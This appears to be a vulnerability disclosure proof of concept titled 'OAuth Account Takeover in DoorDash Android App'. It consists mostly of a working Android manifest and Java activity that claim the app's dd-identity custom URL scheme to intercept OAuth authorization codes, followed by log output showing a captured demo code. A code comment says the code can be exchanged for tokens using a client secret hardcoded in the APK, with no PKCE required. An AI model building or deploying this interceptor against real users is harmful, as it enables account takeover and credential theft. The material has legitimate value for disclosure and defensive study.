OAuth Account Takeover in DoorDash Android App

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.ddintercept">

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:label="DD Intercept POC"
        android:theme="@android:style/Theme.Material.Light">

        <activity
            android:name="com.poc.ddintercept.InterceptActivity"
            android:exported="true"
            android:label="DD Intercept POC">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.BROWSABLE" />
                <data
                    android:scheme="dd-identity"
                    android:host="identity.doordash.com"
                    android:pathPrefix="/auth_callback/com.dd.doordash/" />
            </intent-filter>
        </activity>
    </application>
</manifest>

package com.poc.ddintercept;

import android.app.Activity;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.LinearLayout;
import android.widget.ScrollView;
import android.widget.TextView;
import android.view.Gravity;
import android.graphics.Color;
import android.graphics.Typeface;

/**
 * POC: Intercepts DoorDash OAuth authorization codes via custom scheme hijacking.
 *
 * When DoorDash initiates OAuth login, the authorization server redirects to:
 *   dd-identity://identity.doordash.com/auth_callback/com.dd.doordash/?code=<AUTH_CODE>&state=<UUID>
 *
 * Because dd-identity:// is a custom scheme (not an https:// App Link),
 * Android does NOT verify ownership. Any app can register for it.
 * This app intercepts the redirect and captures the authorization code.
 */
public class InterceptActivity extends Activity {

    private static final String TAG = "DD_INTERCEPT_POC";
    private TextView statusView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        ScrollView scroll = new ScrollView(this);
        LinearLayout layout = new LinearLayout(this);
        layout.setOrientation(LinearLayout.VERTICAL);
        layout.setPadding(48, 48, 48, 48);

        TextView title = new TextView(this);
        title.setText("DoorDash OAuth Interceptor POC");
        title.setTextSize(20);
        title.setTypeface(null, Typeface.BOLD);
        title.setTextColor(Color.parseColor("#D32F2F"));
        title.setPadding(0, 0, 0, 32);
        layout.addView(title);

        statusView = new TextView(this);
        statusView.setTextSize(14);
        statusView.setTypeface(Typeface.MONOSPACE);
        statusView.setTextIsSelectable(true);
        layout.addView(statusView);

        scroll.addView(layout);
        setContentView(scroll);

        Uri data = getIntent().getData();
        if (data != null) {
            handleInterceptedCallback(data);
        } else {
            statusView.setText(
                "Waiting for DoorDash OAuth callback interception...\n\n" +
                "This app has registered an intent-filter for:\n" +
                "  dd-identity://identity.doordash.com/auth_callback/com.dd.doordash/\n\n" +
                "When the victim initiates DoorDash login, the OAuth authorization\n" +
                "code will be intercepted by this app instead of DoorDash."
            );
        }
    }

    private void handleInterceptedCallback(Uri data) {
        String authCode = data.getQueryParameter("code");
        String state = data.getQueryParameter("state");
        String fullUri = data.toString();

        Log.w(TAG, "=== OAUTH AUTHORIZATION CODE INTERCEPTED ===");
        Log.w(TAG, "Full URI: " + fullUri);
        Log.w(TAG, "Authorization Code: " + authCode);
        Log.w(TAG, "State: " + state);
        Log.w(TAG, "=== END INTERCEPTION ===");

        // Authorization code captured — exchange for tokens using
        // the hardcoded client secret from the DoorDash APK.
        // No code_verifier (PKCE) required.
    }
}

03-09 21:19:53.184   559  1659 I ActivityTaskManager: START u0 {
  act=android.intent.action.VIEW
  cat=[android.intent.category.BROWSABLE]
  dat=dd-identity://identity.doordash.com/...
  cmp=com.poc.ddintercept/.InterceptActivity
} with LAUNCH_MULTIPLE from uid 2000 (BAL_ALLOW_PERMISSION) result code=0

03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: === OAUTH AUTHORIZATION CODE INTERCEPTED ===
03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: Full URI: dd-identity://identity.doordash.com/auth_callback/com.dd.doordash/?code=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.INTERCEPTED_OAUTH_CODE_DEMO.signature
03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: Authorization Code: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.INTERCEPTED_OAUTH_CODE_DEMO.signature
03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: State: null
03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: === END INTERCEPTION ===

03-09 21:19:53.254   559   584 I ActivityTaskManager: Displayed com.poc.ddintercept/.InterceptActivity for user 0: +77ms

  dd-identity:
    f81371d com.poc.ddintercept/.InterceptActivity filter 55d2363
      Action: "android.intent.action.VIEW"
      Category: "android.intent.category.DEFAULT"
      Category: "android.intent.category.BROWSABLE"
      Scheme: "dd-identity"
      Authority: "identity.doordash.com": -1
      Path: "PatternMatcher{PREFIX: /auth_callback/com.dd.doordash/}"

  Domain verification status: (none)